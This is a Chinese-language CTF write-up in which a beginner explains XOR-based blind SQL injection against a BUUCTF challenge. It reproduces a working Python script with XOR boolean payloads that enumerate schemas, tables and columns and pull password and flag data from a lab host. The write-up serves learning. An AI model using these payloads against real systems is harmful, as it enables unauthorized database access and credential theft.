补充知识点,异或注入原理
1^1=0 1^0=1 1^1^1=1 1^1^0=0
通过测试我们可以知道,两真为假,两假为真,通过一个输入值具有正反两种情况的条件下,这个特性我们可以进行mysql的异或攻击了。
找注入点
本人菜鸟一个,因为之前刷到的题目都是在账号那里进行注入的,我想当然的认为注入点就在那里,然后用bp去跑sql过滤字典,发现我的天过滤了这么多。最后想不到怎么去绕过,然后去看wp,发现注入点不在账号那里,而是在那些可以点击的数字那里。
然后就试一下如何让其闭合,好家伙没有搞出来,没办法又看了一下wp,发现要异或注入。这也是我第一次碰到异或注入的题目,没有相关概念,然后去网上找了一下。原理就在上面,或者大家可以看这篇文章链接: mysql异或注入
然后就使用盲注来将数据库中的数据搞出来就行了。
已经知道要进行异或盲注了,那么就直接写脚本就行了。这里小小的记录一下,也是我第一次真正的独立写脚本。
这里我先直接贴脚本
'''
注:这里加上time.sleep可以正确的把buuctf中的题目数据正确爆出来。timeout应该不用加,但是加了也没事
'''
import requests
import string
import time
strings = string.printable
flag = ''
for num in range(1,300):
time.sleep(0.06)
for i in strings:
url='http://26817d9c-ef28-4799-a2dd-acbaf6e47b7c.node4.buuoj.cn:81/search.php'
# payload='1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^1'.format(num,ord(i)) #爆数据库
#information_schema,mysql,performance_schema,test,geek
# payload="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{0},1))={1})^1".format(num,ord(i)) #爆表
# F1naI1y,Flaaaaag
# payload="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{0},1))={1})^1".format(num,ord(i)) #爆列名
# F1naI1y:id,username,password Flaaaaag:id,fl4gawsl
# payload='1^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),{0},1))={1})^1'.format(num,ord(i))
payload='1^(ascii(substr(reverse((select(group_concat(password))from(F1naI1y))),{0},1))={1})^1'.format(num,ord(i)) #爆字段
#爆字段
get_data={"id":payload}
res = requests.get(url,params=get_data,timeout=5)
time.sleep(0.04)
if 'this' in res.text:
flag += i
print(flag)
else:
continue
print(flag)
注意:这里爆数据使用了reverse是因为我看一些师傅的wp发现flag是在最后的,前面特别多无用的数据要爆很久,然后直接取巧了。
大家也可以使用二分法的方式来爆数据,时间肯定比我这个程序快,实现起来也不难,但是我就偷一点懒,等下一次碰到盲注的题目试一下二分法。还有最后搞出来的数据大家反转一下就是flag了。
用python写脚本碰到的一些问题
- 因为靶场的原因我之前在buuctf用盲注脚本跑数据的时候会出现一些数据没有进行显示的情况,后面我看到一位师傅的文章,他添加了time.sleep()函数,然后我也尝试了一下,添加之后确实能正确将数据跑出来。至于这个只是针对这一题有效还是都可以这个还需要验证。
- 另外一个就是,因为之前写一道POST注入题目的时候看一个师傅直接将url和payload分开写了,然后我试了一下,requests.get(url,data=xx)的格式。后面发现对于get型的不是一样的而是requests.get(url,params=xx)。
总结
因为之前的几道盲注题目我都是直接看师傅的wp拿来用的,现在自己写一下发现果然光看不如去写。只有自己真正的去写了脚本才会发现一些东西永远都是看起来简单的一批,但是真正的让自己独立写出来还是有点难度的。毕竟那是别人的东西不是自己的东西,我们要把其他师傅的知识变成我们自己的。本人菜鸟一枚,虽然花了挺多时间写这个题目和wp的,但是收获到了很多东西,也希望我能坚持下来。